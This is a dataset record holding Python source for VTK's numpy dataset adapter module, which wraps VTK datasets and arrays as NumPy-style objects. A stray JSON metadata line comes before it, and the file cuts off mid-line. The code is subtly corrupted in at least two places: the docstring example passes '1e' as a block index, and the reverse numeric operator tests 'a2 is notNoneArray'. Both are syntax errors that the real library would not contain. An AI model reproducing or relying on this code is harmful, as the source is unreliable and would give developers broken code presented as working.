"avg_line_length": 39.4347826087, "max_line_length": 230, "alphanum_fraction": 0.7311282617, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 3356, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038986, "lm_q2_score": 0.12765261370630573, "lm_q1q2_score": 0.055398868282308784}}
{"text": "\"\"\"This module provides classes that allow Numpy-type access\r\nto VTK datasets and arrays. This is best described with some examples.\r\n\r\nTo normalize a VTK array:\r\n\r\nimport vtk\r\nimport vtk.numpy_interface.dataset_adapter as dsa\r\nimport vtk.numpy_interface.algorithms as algs\r\n\r\nrt = vtk.vtkRTAnalyticSource()\r\nrt.Update()\r\nimage = dsa.WrapDataObject(rt.GetOutput())\r\nrtdata = image.PointData['RTData']\r\nrtmin = algs.min(rtdata)\r\nrtmax = algs.max(rtdata)\r\nrtnorm = (rtdata - rtmin) / (rtmax - rtmin)\r\nimage.PointData.append(rtnorm, 'RTData - normalized')\r\nprint image.GetPointData().GetArray('RTData - normalized').GetRange()\r\n\r\nTo calculate gradient:\r\n\r\ngrad= algs.gradient(rtnorm)\r\n\r\nTo access subsets:\r\n\r\n>>> grad[0:10]\r\nVTKArray([[ 0.10729134,  0.03763443,  0.03136338],\r\n       [ 0.02754352,  0.03886006,  0.032589  ],\r\n       [ 0.02248248,  0.04127144,  0.03500038],\r\n       [ 0.02678365,  0.04357527,  0.03730421],\r\n       [ 0.01765099,  0.04571581,  0.03944477],\r\n       [ 0.02344007,  0.04763837,  0.04136734],\r\n       [ 0.01089381,  0.04929155,  0.04302051],\r\n       [ 0.01769151,  0.05062952,  0.04435848],\r\n       [ 0.002764  ,  0.05161414,  0.04534309],\r\n       [ 0.01010841,  0.05221677,  0.04594573]])\r\n\r\n>>> grad[:, 0]\r\nVTKArray([ 0.10729134,  0.02754352,  0.02248248, ..., -0.02748174,\r\n       -0.02410045,  0.05509736])\r\n\r\nAll of this functionality is also supported for composite datasets\r\neven though their data arrays may be spread across multiple datasets.\r\nWe have implemented a VTKCompositeDataArray class that handles many\r\nNumpy style operators and is supported by all algorithms in the\r\nalgorithms module.\r\n\r\nThis module also provides an API to access composite datasets.\r\nFor example:\r\n\r\nmb = vtk.vtkMultiBlockDataSet()\r\nmb.SetBlock(0, image.VTKObject)\r\nmb.SetBlock(1e, image.VTKObject)\r\ncds = dsa.WrapDataObject(mb)\r\nfor block in cds:\r\n    print block\r\n\r\nNote that this module implements only the wrappers for datasets\r\nand arrays. The classes implement many useful operators. However,\r\nto make best use of these classes, take a look at the algorithms\r\nmodule.\r\n\"\"\"\r\ntry:\r\n    import numpy\r\nexcept ImportError:\r\n    raise RuntimeError(\"This module depends on the numpy module. Please make\\\r\nsure that it is installed properly.\")\r\n\r\nimport itertools\r\nimport operator\r\nimport sys\r\nfrom vtk import buffer_shared\r\nfrom vtk.util import numpy_support\r\nfrom vtk.vtkCommonDataModel import vtkDataObject\r\nimport weakref\r\n\r\nif sys.hexversion < 0x03000000:\r\n    izip = itertools.izip\r\nelse:\r\n    izip = zip\r\n\r\ndef reshape_append_ones (a1, a2):\r\n    \"\"\"Returns a list with the two arguments, any of them may be\r\n    processed.  If the arguments are numpy.ndarrays, append 1s to the\r\n    shape of the array with the smallest number of dimensions until\r\n    the arrays have the same number of dimensions. Does nothing if the\r\n    arguments are not ndarrays or the arrays have the same number of\r\n    dimensions.\r\n\r\n    \"\"\"\r\n    l = [a1, a2]\r\n    if (isinstance(a1, numpy.ndarray) and isinstance(a2, numpy.ndarray)):\r\n        len1 = len(a1.shape)\r\n        len2 = len(a2.shape)\r\n        if (len1 == len2 or len1 == 0 or len2 == 0 or\r\n            a1.shape[0] != a2.shape[0]):\r\n            return l;\r\n        elif (len1 < len2):\r\n            d = len1\r\n            maxLength = len2\r\n            i = 0\r\n        else:\r\n            d = len2\r\n            maxLength = len1\r\n            i = 1\r\n        while (d < maxLength):\r\n            l[i] = numpy.expand_dims(l[i], d)\r\n            d = d + 1\r\n    return l\r\n\r\nclass ArrayAssociation :\r\n    \"\"\"Easy access to vtkDataObject.AttributeTypes\"\"\"\r\n    POINT = vtkDataObject.POINT\r\n    CELL  = vtkDataObject.CELL\r\n    FIELD = vtkDataObject.FIELD\r\n    ROW = vtkDataObject.ROW\r\n\r\nclass VTKObjectWrapper(object):\r\n    \"\"\"Superclass for classes that wrap VTK objects with Python objects.\r\n    This class holds a reference to the wrapped VTK object. It also\r\n    forwards unresolved methods to the underlying object by overloading\r\n    __get__attr.\"\"\"\r\n    def __init__(self, vtkobject):\r\n        self.VTKObject = vtkobject\r\n\r\n    def __getattr__(self, name):\r\n        \"Forwards unknown attribute requests to VTK object.\"\r\n        return getattr(self.VTKObject, name)\r\n\r\ndef _MakeObserver(numpy_array):\r\n    \"Internal function used to attach a numpy array to a vtk array\"\r\n    def Closure(caller, event):\r\n        foo = numpy_array\r\n    return Closure\r\n\r\ndef vtkDataArrayToVTKArray(array, dataset=None):\r\n    \"Given a vtkDataArray and a dataset owning it, returns a VTKArray.\"\r\n    narray = numpy_support.vtk_to_numpy(array)\r\n\r\n    # Make arrays of 9 components into matrices. Also transpose\r\n    # as VTK store matrices in Fortran order\r\n    shape = narray.shape\r\n    if len(shape) == 2 and shape[1] == 9:\r\n        narray = narray.reshape((shape[0], 3, 3)).transpose(0, 2, 1)\r\n\r\n    return VTKArray(narray, array=array, dataset=dataset)\r\n\r\ndef numpyTovtkDataArray(array, name=\"numpy_array\", array_type=None):\r\n    \"\"\"Given a numpy array or a VTKArray and a name, returns a vtkDataArray.\r\n    The resulting vtkDataArray will store a reference to the numpy array\r\n    through a DeleteEvent observer: the numpy array is released only when\r\n    the vtkDataArray is destroyed.\"\"\"\r\n    if not array.flags.contiguous:\r\n        array = array.copy()\r\n    vtkarray = numpy_support.numpy_to_vtk(array, array_type=array_type)\r\n    vtkarray.SetName(name)\r\n    # This makes the VTK array carry a reference to the numpy array.\r\n    vtkarray.AddObserver('DeleteEvent', _MakeObserver(array))\r\n    return vtkarray\r\n\r\ndef _make_tensor_array_contiguous(array):\r\n    if array is None:\r\n        return None\r\n    if array.flags.contiguous:\r\n        return array\r\n    array = numpy.asarray(array)\r\n    size = array.dtype.itemsize\r\n    strides = array.strides\r\n    if len(strides) == 3 and strides[1]/size == 1 and strides[2]/size == 3:\r\n        return array.transpose(0, 2, 1)\r\n    return array\r\n\r\ndef _metaclass(mcs):\r\n    \"\"\"For compatibility between python 2 and python 3.\"\"\"\r\n    def decorator(cls):\r\n        body = vars(cls).copy()\r\n        body.pop('__dict__', None)\r\n        body.pop('__weakref__', None)\r\n        return mcs(cls.__name__, cls.__bases__, body)\r\n    return decorator\r\n\r\nclass VTKArrayMetaClass(type):\r\n    def __new__(mcs, name, parent, attr):\r\n        \"\"\"We overwrite numerical/comparison operators because we might need\r\n        to reshape one of the arrays to perform the operation without\r\n        broadcast errors. For instace:\r\n\r\n        An array G of shape (n,3) resulted from computing the\r\n        gradient on a scalar array S of shape (n,) cannot be added together without\r\n        reshaping.\r\n        G + expand_dims(S,1) works,\r\n        G + S gives an error:\r\n        ValueError: operands could not be broadcast together with shapes (n,3) (n,)\r\n\r\n        This metaclass overwrites operators such that it computes this\r\n        reshape operation automatically by appending 1s to the\r\n        dimensions of the array with fewer dimensions.\r\n\r\n        \"\"\"\r\n        def add_numeric_op(attr_name):\r\n            \"\"\"Create an attribute named attr_name that calls\r\n            _numeric_op(self, other, op).\"\"\"\r\n            def closure(self, other):\r\n                return VTKArray._numeric_op(self, other, attr_name)\r\n            closure.__name__ = attr_name\r\n            attr[attr_name] = closure\r\n\r\n        def add_default_numeric_op(op_name):\r\n            \"\"\"Adds '__[op_name]__' attribute that uses operator.[op_name]\"\"\"\r\n            add_numeric_op(\"__%s__\"%op_name)\r\n\r\n        def add_reverse_numeric_op(attr_name):\r\n            \"\"\"Create an attribute named attr_name that calls\r\n            _reverse_numeric_op(self, other, op).\"\"\"\r\n            def closure(self, other):\r\n                return VTKArray._reverse_numeric_op(self, other, attr_name)\r\n            closure.__name__ = attr_name\r\n            attr[attr_name] = closure\r\n\r\n        def add_default_reverse_numeric_op(op_name):\r\n            \"\"\"Adds '__r[op_name]__' attribute that uses operator.[op_name]\"\"\"\r\n            add_reverse_numeric_op(\"__r%s__\"%op_name)\r\n\r\n        def add_default_numeric_ops(op_name):\r\n            \"\"\"Call both add_default_numeric_op and add_default_reverse_numeric_op.\"\"\"\r\n            add_default_numeric_op(op_name)\r\n            add_default_reverse_numeric_op(op_name)\r\n\r\n        add_default_numeric_ops(\"add\")\r\n        add_default_numeric_ops(\"sub\")\r\n        add_default_numeric_ops(\"mul\")\r\n        if sys.hexversion < 0x03000000:\r\n            add_default_numeric_ops(\"div\")\r\n        add_default_numeric_ops(\"truediv\")\r\n        add_default_numeric_ops(\"floordiv\")\r\n        add_default_numeric_ops(\"mod\")\r\n        add_default_numeric_ops(\"pow\")\r\n        add_default_numeric_ops(\"lshift\")\r\n        add_default_numeric_ops(\"rshift\")\r\n        add_numeric_op(\"and\")\r\n        add_default_numeric_ops(\"xor\")\r\n        add_numeric_op(\"or\")\r\n\r\n        add_default_numeric_op(\"lt\")\r\n        add_default_numeric_op(\"le\")\r\n        add_default_numeric_op(\"eq\")\r\n        add_default_numeric_op(\"ne\")\r\n        add_default_numeric_op(\"ge\")\r\n        add_default_numeric_op(\"gt\")\r\n        return type.__new__(mcs, name, parent, attr)\r\n\r\n@_metaclass(VTKArrayMetaClass)\r\nclass VTKArray(numpy.ndarray):\r\n    \"\"\"This is a sub-class of numpy ndarray that stores a\r\n    reference to a vtk array as well as the owning dataset.\r\n    The numpy array and vtk array should point to the same\r\n    memory location.\"\"\"\r\n\r\n    def _numeric_op(self, other, attr_name):\r\n        \"\"\"Used to implement numpy-style numerical operations such as __add__,\r\n        __mul__, etc.\"\"\"\r\n        l = reshape_append_ones(self, other)\r\n        return getattr(numpy.ndarray, attr_name)(l[0], l[1])\r\n\r\n    def _reverse_numeric_op(self, other, attr_name):\r\n        \"\"\"Used to implement numpy-style numerical operations such as __add__,\r\n        __mul__, etc.\"\"\"\r\n        l = reshape_append_ones(self, other)\r\n        return getattr(numpy.ndarray, attr_name)(l[0], l[1])\r\n\r\n    def __new__(cls, input_array, array=None, dataset=None):\r\n        # Input array is an already formed ndarray instance\r\n        # We first cast to be our class type\r\n        obj = numpy.asarray(input_array).view(cls)\r\n        obj.Association = ArrayAssociation.FIELD\r\n        # add the new attributes to the created instance\r\n        obj.VTKObject = array\r\n        # if dataset:\r\n        #     import weakref\r\n        #     obj.DataSet = weakref.ref(dataset)\r\n        obj.DataSet = dataset\r\n        # Finally, we must return the newly created object:\r\n        return obj\r\n\r\n    def __array_finalize__(self,obj):\r\n        # Copy the VTK array only if the two share data\r\n        slf = _make_tensor_array_contiguous(self)\r\n        obj2 = _make_tensor_array_contiguous(obj)\r\n\r\n        self.VTKObject = None\r\n        try:\r\n            # This line tells us that they are referring to the same buffer.\r\n            # Much like two pointers referring to same memory location in C/C++.\r\n            if buffer_shared(slf, obj2):\r\n                self.VTKObject = getattr(obj, 'VTKObject', None)\r\n        except TypeError:\r\n            pass\r\n\r\n        self.Association = getattr(obj, 'Association', None)\r\n        self.DataSet = getattr(obj, 'DataSet', None)\r\n\r\n    def __getattr__(self, name):\r\n        \"Forwards unknown attribute requests to VTK array.\"\r\n        try:\r\n            o = self.__dict__[\"VTKObject\"]\r\n        except KeyError:\r\n            o = None\r\n        if o is None:\r\n            raise AttributeError(\"'%s' object has no attribute '%s'\" %\r\n                                 (self.__class__.__name__, name))\r\n        return getattr(o, name)\r\n\r\nclass VTKNoneArrayMetaClass(type):\r\n    def __new__(mcs, name, parent, attr):\r\n        \"\"\"Simplify the implementation of the numeric/logical sequence API.\"\"\"\r\n        def _add_op(attr_name, op):\r\n            \"\"\"Create an attribute named attr_name that calls\r\n            _numeric_op(self, other, op).\"\"\"\r\n            def closure(self, other):\r\n                return VTKNoneArray._op(self, other, op)\r\n            closure.__name__ = attr_name\r\n            attr[attr_name] = closure\r\n\r\n        def _add_default_reverse_op(op_name):\r\n            \"\"\"Adds '__r[op_name]__' attribute that uses operator.[op_name]\"\"\"\r\n            _add_op(\"__r%s__\"%op_name, getattr(operator, op_name))\r\n\r\n        def _add_default_op(op_name):\r\n            \"\"\"Adds '__[op_name]__' attribute that uses operator.[op_name]\"\"\"\r\n            _add_op(\"__%s__\"%op_name, getattr(operator, op_name))\r\n\r\n        def _add_default_ops(op_name):\r\n            \"\"\"Call both add_default_numeric_op and add_default_reverse_numeric_op.\"\"\"\r\n            _add_default_op(op_name)\r\n            _add_default_reverse_op(op_name)\r\n\r\n        _add_default_ops(\"add\")\r\n        _add_default_ops(\"sub\")\r\n        _add_default_ops(\"mul\")\r\n        if sys.hexversion < 0x03000000:\r\n            _add_default_ops(\"div\")\r\n        _add_default_ops(\"truediv\")\r\n        _add_default_ops(\"floordiv\")\r\n        _add_default_ops(\"mod\")\r\n        _add_default_ops(\"pow\")\r\n        _add_default_ops(\"lshift\")\r\n        _add_default_ops(\"rshift\")\r\n        _add_op(\"__and__\", operator.and_)\r\n        _add_op(\"__rand__\", operator.and_)\r\n        _add_default_ops(\"xor\")\r\n        _add_op(\"__or__\", operator.or_)\r\n        _add_op(\"__ror__\", operator.or_)\r\n\r\n        _add_default_op(\"lt\")\r\n        _add_default_op(\"le\")\r\n        _add_default_op(\"eq\")\r\n        _add_default_op(\"ne\")\r\n        _add_default_op(\"ge\")\r\n        _add_default_op(\"gt\")\r\n        return type.__new__(mcs, name, parent, attr)\r\n\r\n@_metaclass(VTKNoneArrayMetaClass)\r\nclass VTKNoneArray(object):\r\n    \"\"\"VTKNoneArray is used to represent a \"void\" array. An instance\r\n    of this class (NoneArray) is returned instead of None when an\r\n    array that doesn't exist in a DataSetAttributes is requested.\r\n    All operations on the NoneArray return NoneArray. The main reason\r\n    for this is to support operations in parallel where one of the\r\n    processes may be working on an empty dataset. In such cases,\r\n    the process is still expected to evaluate a whole expression because\r\n    some of the functions may perform bulk MPI communication. None\r\n    cannot be used in these instances because it cannot properly override\r\n    operators such as __add__, __sub__ etc. This is the main raison\r\n    d'etre for VTKNoneArray.\"\"\"\r\n\r\n    def __getitem__(self, index):\r\n        return NoneArray\r\n\r\n    def _op(self, other, op):\r\n        \"\"\"Used to implement numpy-style numerical operations such as __add__,\r\n        __mul__, etc.\"\"\"\r\n        return NoneArray\r\n\r\n    def astype(self, dtype):\r\n        \"\"\"Implements numpy array's astype method.\"\"\"\r\n        return NoneArray\r\n\r\nNoneArray = VTKNoneArray()\r\n\r\nclass VTKCompositeDataArrayMetaClass(type):\r\n    def __new__(mcs, name, parent, attr):\r\n        \"\"\"Simplify the implementation of the numeric/logical sequence API.\"\"\"\r\n        def add_numeric_op(attr_name, op):\r\n            \"\"\"Create an attribute named attr_name that calls\r\n            _numeric_op(self, other, op).\"\"\"\r\n            def closure(self, other):\r\n                return VTKCompositeDataArray._numeric_op(self, other, op)\r\n            closure.__name__ = attr_name\r\n            attr[attr_name] = closure\r\n\r\n        def add_reverse_numeric_op(attr_name, op):\r\n            \"\"\"Create an attribute named attr_name that calls\r\n            _reverse_numeric_op(self, other, op).\"\"\"\r\n            def closure(self, other):\r\n                return VTKCompositeDataArray._reverse_numeric_op(self, other, op)\r\n            closure.__name__ = attr_name\r\n            attr[attr_name] = closure\r\n\r\n        def add_default_reverse_numeric_op(op_name):\r\n            \"\"\"Adds '__r[op_name]__' attribute that uses operator.[op_name]\"\"\"\r\n            add_reverse_numeric_op(\"__r%s__\"%op_name, getattr(operator, op_name))\r\n\r\n        def add_default_numeric_op(op_name):\r\n            \"\"\"Adds '__[op_name]__' attribute that uses operator.[op_name]\"\"\"\r\n            add_numeric_op(\"__%s__\"%op_name, getattr(operator, op_name))\r\n\r\n        def add_default_numeric_ops(op_name):\r\n            \"\"\"Call both add_default_numeric_op and add_default_reverse_numeric_op.\"\"\"\r\n            add_default_numeric_op(op_name)\r\n            add_default_reverse_numeric_op(op_name)\r\n\r\n        add_default_numeric_ops(\"add\")\r\n        add_default_numeric_ops(\"sub\")\r\n        add_default_numeric_ops(\"mul\")\r\n        if sys.hexversion < 0x03000000:\r\n            add_default_numeric_ops(\"div\")\r\n        add_default_numeric_ops(\"truediv\")\r\n        add_default_numeric_ops(\"floordiv\")\r\n        add_default_numeric_ops(\"mod\")\r\n        add_default_numeric_ops(\"pow\")\r\n        add_default_numeric_ops(\"lshift\")\r\n        add_default_numeric_ops(\"rshift\")\r\n        add_numeric_op(\"__and__\", operator.and_)\r\n        add_reverse_numeric_op(\"__rand__\", operator.and_)\r\n        add_default_numeric_ops(\"xor\")\r\n        add_numeric_op(\"__or__\", operator.or_)\r\n        add_reverse_numeric_op(\"__ror__\", operator.or_)\r\n\r\n        add_default_numeric_op(\"lt\")\r\n        add_default_numeric_op(\"le\")\r\n        add_default_numeric_op(\"eq\")\r\n        add_default_numeric_op(\"ne\")\r\n        add_default_numeric_op(\"ge\")\r\n        add_default_numeric_op(\"gt\")\r\n        return type.__new__(mcs, name, parent, attr)\r\n\r\n@_metaclass(VTKCompositeDataArrayMetaClass)\r\nclass VTKCompositeDataArray(object):\r\n    \"\"\"This class manages a set of arrays of the same name contained\r\n    within a composite dataset. Its main purpose is to provide a\r\n    Numpy-type interface to composite data arrays which are naturally\r\n    nothing but a collection of vtkDataArrays. A VTKCompositeDataArray\r\n    makes such a collection appear as a single Numpy array and support\r\n    all array operations that this module and the associated algorithm\r\n    module support. Note that this is not a subclass of a Numpy array\r\n    and as such cannot be passed to native Numpy functions. Instead\r\n    VTK modules should be used to process composite arrays.\r\n    \"\"\"\r\n\r\n    def __init__(self, arrays = [], dataset = None, name = None,\r\n                 association = ArrayAssociation.FIELD):\r\n        \"\"\"Construct a composite array given a container of\r\n        arrays, a dataset, name and association. It is sufficient\r\n        to define a container of arrays to define a composite array.\r\n        It is also possible to initialize an array by defining\r\n        the dataset, name and array association. In that case,\r\n        the underlying arrays will be created lazily when they\r\n        are needed. It is recommended to use the latter method\r\n        when initializing from an existing composite dataset.\"\"\"\r\n        self._Arrays = arrays\r\n        self.DataSet = dataset\r\n        self.Name = name\r\n        self.Association = association\r\n        self.Initialized = False\r\n\r\n    def __init_from_composite(self):\r\n        if self.Initialized:\r\n            return\r\n\r\n        self.Initialized = True\r\n\r\n        if self.DataSet is None or self.Name is None:\r\n            return\r\n\r\n        self._Arrays = []\r\n        for ds in self.DataSet:\r\n            self._Arrays.append(ds.GetAttributes(self.Association)[self.Name])\r\n\r\n    def GetSize(self):\r\n        \"Returns the number of elements in the array.\"\r\n        self.__init_from_composite()\r\n        size = numpy.int64(0)\r\n        for a in self._Arrays:\r\n            try:\r\n                size += a.size\r\n            except AttributeError:\r\n                pass\r\n        return size\r\n\r\n    size = property(GetSize)\r\n\r\n    def GetArrays(self):\r\n        \"\"\"Returns the internal container of VTKArrays. If necessary,\r\n        this will populate the array list from a composite dataset.\"\"\"\r\n        self.__init_from_composite()\r\n        return self._Arrays\r\n\r\n    Arrays = property(GetArrays)\r\n\r\n    def __getitem__(self, index):\r\n        \"\"\"Overwritten to refer indexing to underlying VTKArrays.\r\n        For the most part, this will behave like Numpy. Note\r\n        that indexing is done per array - arrays are never treated\r\n        as forming a bigger array. If the index is another composite\r\n        array, a one-to-one mapping between arrays is assumed.\r\n        \"\"\"\r\n        self.__init_from_composite()\r\n        res = []\r\n        if type(index) == VTKCompositeDataArray:\r\n            for a, idx in izip(self._Arrays, index.Arrays):\r\n                if a is not NoneArray:\r\n                    res.append(a.__getitem__(idx))\r\n                else:\r\n                    res.append(NoneArray)\r\n        else:\r\n            for a in self._Arrays:\r\n                if a is not NoneArray:\r\n                    res.append(a.__getitem__(index))\r\n                else:\r\n                    res.append(NoneArray)\r\n        return VTKCompositeDataArray(res, dataset=self.DataSet)\r\n\r\n    def _numeric_op(self, other, op):\r\n        \"\"\"Used to implement numpy-style numerical operations such as __add__,\r\n        __mul__, etc.\"\"\"\r\n        self.__init_from_composite()\r\n        res = []\r\n        if type(other) == VTKCompositeDataArray:\r\n            for a1, a2 in izip(self._Arrays, other.Arrays):\r\n                if a1 is not NoneArray and a2 is not NoneArray:\r\n                    l = reshape_append_ones(a1, a2)\r\n                    res.append(op(l[0],l[1]))\r\n                else:\r\n                    res.append(NoneArray)\r\n        else:\r\n            for a in self._Arrays:\r\n                if a is not NoneArray:\r\n                    l = reshape_append_ones(a, other)\r\n                    res.append(op(l[0], l[1]))\r\n                else:\r\n                    res.append(NoneArray)\r\n        return VTKCompositeDataArray(res, dataset=self.DataSet)\r\n\r\n    def _reverse_numeric_op(self, other, op):\r\n        \"\"\"Used to implement numpy-style numerical operations such as __add__,\r\n        __mul__, etc.\"\"\"\r\n        self.__init_from_composite()\r\n        res = []\r\n        if type(other) == VTKCompositeDataArray:\r\n            for a1, a2 in izip(self._Arrays, other.Arrays):\r\n                if a1 is not NoneArray and a2 is notNoneArray:\r\n                    l = reshape_append_ones(a2,a1)\r\n                    res.append(op(l[0],l[1]))\r\n                else:\r\n                    res.append(NoneArray)\r\n        else:\r\n            for a in self._Arrays:\r\n                if a is not NoneArray:\r\n                    l = reshape_append_ones(other, a)\r\n                    res.append(op(l[0], l[1]))\r\n                else:\r\n                    res.append(NoneArray)\r\n        return VTKCompositeDataArray(res, dataset=self.DataSet)\r\n\r\n    def __str__(self):\r\n        return self.Arrays.__str__()\r\n\r\n    def astype(self, dtype):\r\n        \"\"\"Implements numpy array's as array method.\"\"\"\r\n        res = []\r\n        if self is not NoneArray:\r\n            for a in self.Arrays:\r\n                if a is NoneArray:\r\n                    res.append(NoneArray)\r\n                else:\r\n                    res.append(a.astype(dtype))\r\n        return VTKCompositeDataArray(res, dataset = self.DataSet)\r\n\r\n\r\nclass DataSetAttributes(VTKObjectWrapper):\r\n    \"\"\"This is a python friendly wrapper of vtkDataSetAttributes. It\r\n    returns VTKArrays. It also provides the dictionary interface.\"\"\"\r\n\r\n    def __init__(self, vtkobject, dataset, association):\r\n        super(DataSetAttributes, self).__init__(vtkobject)\r\n        # import weakref\r\n        # self.DataSet = weakref.ref(dataset)\r\n        self.DataSet = dataset\r\n        self.Association = association\r\n\r\n    def __getitem__(self, idx):\r\n        \"\"\"Implements the [] operator. Accepts an array name or index.\"\"\"\r\n        return self.GetArray(idx)\r\n\r\n    def GetArray(self, idx):\r\n        \"Given an index or name, returns a VTKArray.\"\r\n        if isinstance(idx, int) and idx >= self.VTKObject.GetNumberOfArrays():\r\n            raise IndexError(\"array index out of range\")\r\n        vtkarray = self.VTKObject.GetArray(idx)\r\n        if not vtkarray:\r\n            vtkarray = self.VTKObject.GetAbstractArray(idx)\r\n            if vtkarray:\r\n                return vtkarray\r\n            return NoneArray\r\n        array = vtkDataArrayToVTKArray(vtkarray, self.DataSet)\r\n        array.Association = self.Association\r\n        return array\r\n\r\n    def keys(self):\r\n        \"\"\"Returns the names of the arrays as a list.\"\"\"\r\n        kys = []\r\n        narrays = self.VTKObject.GetNumberOfArrays()\r\n        for i in range(narrays):\r\n            name = self.VTKObject.GetAbstractArray(i).GetName()\r\n            if name:\r\n                kys.append(name)\r\n        return kys\r\n\r\n    def values(self):\r\n        \"\"\"Returns the arrays as a list.\"\"\"\r\n        vals = []\r\n        narrays = self.VTKObject.GetNumberOfArrays()\r\n        for i in range(narrays):\r\n            a = self.VTKObject.GetAbstractArray(i)\r\n            if a.GetName():\r\n                vals.append(a)\r\n        return vals\r\n\r\n    def PassData(self, other):\r\n        \"A wrapper for vtkDataSet.PassData.\"\r\n        try:\r\n            self.VTKObject.PassData(other)\r\n        except TypeError:\r\n            self.VTKObject.PassData(other.VTKObject)\r\n\r\n    def append(self, narray, name):\r\n        \"\"\"Appends a new array to the dataset attributes.\"\"\"\r\n        if narray is NoneArray:\r\n            # if NoneArray, nothing to do.\r\n            return\r\n\r\n        if self.Association == ArrayAssociation.POINT:\r\n            arrLength = self.DataSet.GetNumberOfPoints()\r\n        elif self.Association == ArrayAssociation.CELL:\r\n            arrLength = self.DataSet.GetNumberOfCells()\r\n        else:\r\n            if not isinstance(narray, numpy.ndarray):\r\n                arrLength = 1\r\n            else:\r\n                arrLength = narray.shape[0]\r\n\r\n        # Fixup input array length:\r\n        if not isinstance(narray, numpy.ndarray) or numpy.ndim(narray) == 0: # Scalar input\r\n            narray = narray * numpy.ones(arrLength)\r\n        elif narray.shape[0] != arrLength: # Vector input\r\n            components = 1\r\n            for l in narray.shape:\r\n                components *= l\r\n            narray = narray.flatten() * numpy.ones((arrLength, components))\r\n\r\n        shape = narray.shape\r\n\r\n        if len(shape) == 3:\r\n            # Array of matrices. We need to make sure the order  in memory is right.\r\n            # If column order (c order), transpose. VTK wants row order (fortran\r\n            # order). The deep copy later will make sure that the array is contiguous.\r\n            # If row order but not contiguous, transpose so that the deep copy below\r\n            # does not happen.\r\n            size = narray.dtype.itemsize\r\n            if (narray.strides[1]/size == 3 and narray.strides[2]/size == 1) or \\\r\n                (narray.strides[1]/size == 1 and narray.strides[2]/size == 3 and \\\r\n                 not narray.flags.contiguous):\r\n                narray  = narray.transpose(0, 2, 1)\r\n\r\n        # If array is not contiguous, make a deep copy that is contiguous\r\n        if not narray.flags.contiguous:\r\n            narray = narray.copy()\r\n\r\n        # Flatten array of matrices to array of vectors\r\n        if len(shape) == 3:\r\n            narray = narray.reshape(shape[0], shape[1]*shape[2])\r\n\r\n        # this handle the case when an input array is directly appended on the\r\n        # output. We want to make sure that the array added to the output is not\r\n        # referring to the input dataset.\r\n        copy = VTKArray(narray)\r\n        try:\r\n            copy.VTKObject = narray.VTKObject\r\n        except AttributeError: pass\r\n        arr = numpyTovtkDataArray(copy, name)\r\n        self.VTKObject.AddArray(arr)\r\n\r\n\r\nclass CompositeDataSetAttributes():\r\n    \"\"\"This is a python friendly wrapper for vtkDataSetAttributes for composite\r\n    datsets. Since composite datasets themselves don't have attribute data, but\r\n    the attribute data is associated with the leaf nodes in the composite\r\n    dataset, this class simulates a DataSetAttributes interface by taking a\r\n    union of DataSetAttributes associated with all leaf nodes.\"\"\"\r\n\r\n    def __init__(self, dataset, association):\r\n        # import weakref\r\n        # self.DataSet = weakref.ref(dataset)\r\n        self.DataSet = dataset\r\n        self.Association = association\r\n        self.ArrayNames = []\r\n        self.Arrays = {}\r\n\r\n        # build the set of arrays available in the composite dataset. Since\r\n        # composite datasets can have partial arrays, we need to iterate over\r\n        # all non-null blocks in the dataset.\r\n        self.__determine_arraynames()\r\n\r\n    def __determine_arraynames(self):\r\n        array_set = set()\r\n        array_list = []\r\n        for dataset in self.DataSet:\r\n            dsa = dataset.GetAttributes(self.Association)\r\n            for array_name in dsa.keys():\r\n                if array_name not in array_set:\r\n                    array_set.add(array_name)\r\n                    array_list.append(array_name)\r\n        self.ArrayNames = array_list\r\n\r\n    def keys(self):\r\n        \"\"\"Returns the names of the arrays as a list.\"\"\"\r\n        return self.ArrayNames\r\n\r\n    def __getitem__(self, idx):\r\n        \"\"\"Implements the [] operator. Accepts an array name.\"\"\"\r\n        return self.GetArray(idx)\r\n\r\n    def append(self, narray, name):\r\n        \"\"\"Appends a new array to the composite dataset attributes.\"\"\"\r\n        if narray is NoneArray:\r\n            # if NoneArray, nothing to do.\r\n            return\r\n\r\n        added = False\r\n        if not isinstance(narray, VTKCompositeDataArray): # Scalar input\r\n            for ds in self.DataSet:\r\n                ds.GetAttributes(self.Association).append(narray, name)\r\n                added = True\r\n            if added:\r\n                self.ArrayNames.append(name)\r\n                # don't add the narray since it's a scalar. GetArray() will create a\r\n                # VTKCompositeArray on-demand.\r\n        else:\r\n            for ds, array in izip(self.DataSet, narray.Arrays):\r\n                if array is not None:\r\n                    ds.GetAttributes(self.Association).append(array, name)\r\n                    added = True\r\n            if added:\r\n                self.ArrayNames.append(name)\r\n                self.Arrays[name] = weakref.ref(narray)\r\n\r\n    def GetArray(self, idx):\r\n        \"\"\"Given a name, returns a VTKCompositeArray.\"\"\"\r\n        arrayname = idx\r\n        if arrayname not in self.ArrayNames:\r\n            return NoneArray\r\n        if arrayname not in self.Arrays or self.Arrays[arrayname]() is None:\r\n            array = VTKCompositeDataArray(\r\n                dataset = self.DataSet, name = arrayname, association = self.Association)\r\n            self.Arrays[arrayname] = weakref.ref(array)\r\n        else:\r\n            array = self.Arrays[arrayname]()\r\n        return array\r\n\r\n    def PassData(self, other):\r\n        \"\"\"Emulate PassData for composite datasets.\"\"\"\r\n        for this,that in zip(self.DataSet, other.DataSet):\r\n            for assoc in [ArrayAssociation.POINT, ArrayAssociation.CELL]:\r\n                this.GetAttributes(assoc).PassData(that.GetAttributes(assoc))\r\n\r\nclass CompositeDataIterator(object):\r\n    \"\"\"Wrapper for a vtkCompositeDataIterator class to satisfy\r\n       the python iterator protocol. This iterator iterates\r\n       over non-empty leaf nodes. To iterate over empty or\r\n       non-leaf nodes, use the vtkCompositeDataIterator directly.\r\n       \"\"\"\r\n\r\n    def __init__(self, cds):\r\n        self.Iterator = cds.NewIterator()\r\n        if self.Iterator:\r\n            self.Iterator.UnRegister(None)\r\n            self.Iterator.GoToFirstItem()\r\n\r\n    def __iter__(self):\r\n        return self\r\n\r\n    def __next__(self):\r\n        if not self.Iterator:\r\n            raise StopIteration\r\n\r\n        if self.Iterator.IsDoneWithTraversal():\r\n            raise StopIteration\r\n        retVal = self.Iterator.GetCurrentDataObject()\r\n        self.Iterator.GoToNextItem()\r\n        return WrapDataObject(retVal)\r\n\r\n    def next(self):\r\n        return self.__next__()\r\n\r\n    def __getattr__(self, name):\r\n        \"\"\"Returns attributes from the vtkCompositeDataIterator.\"\"\"\r\n        return getattr(self.Iterator, 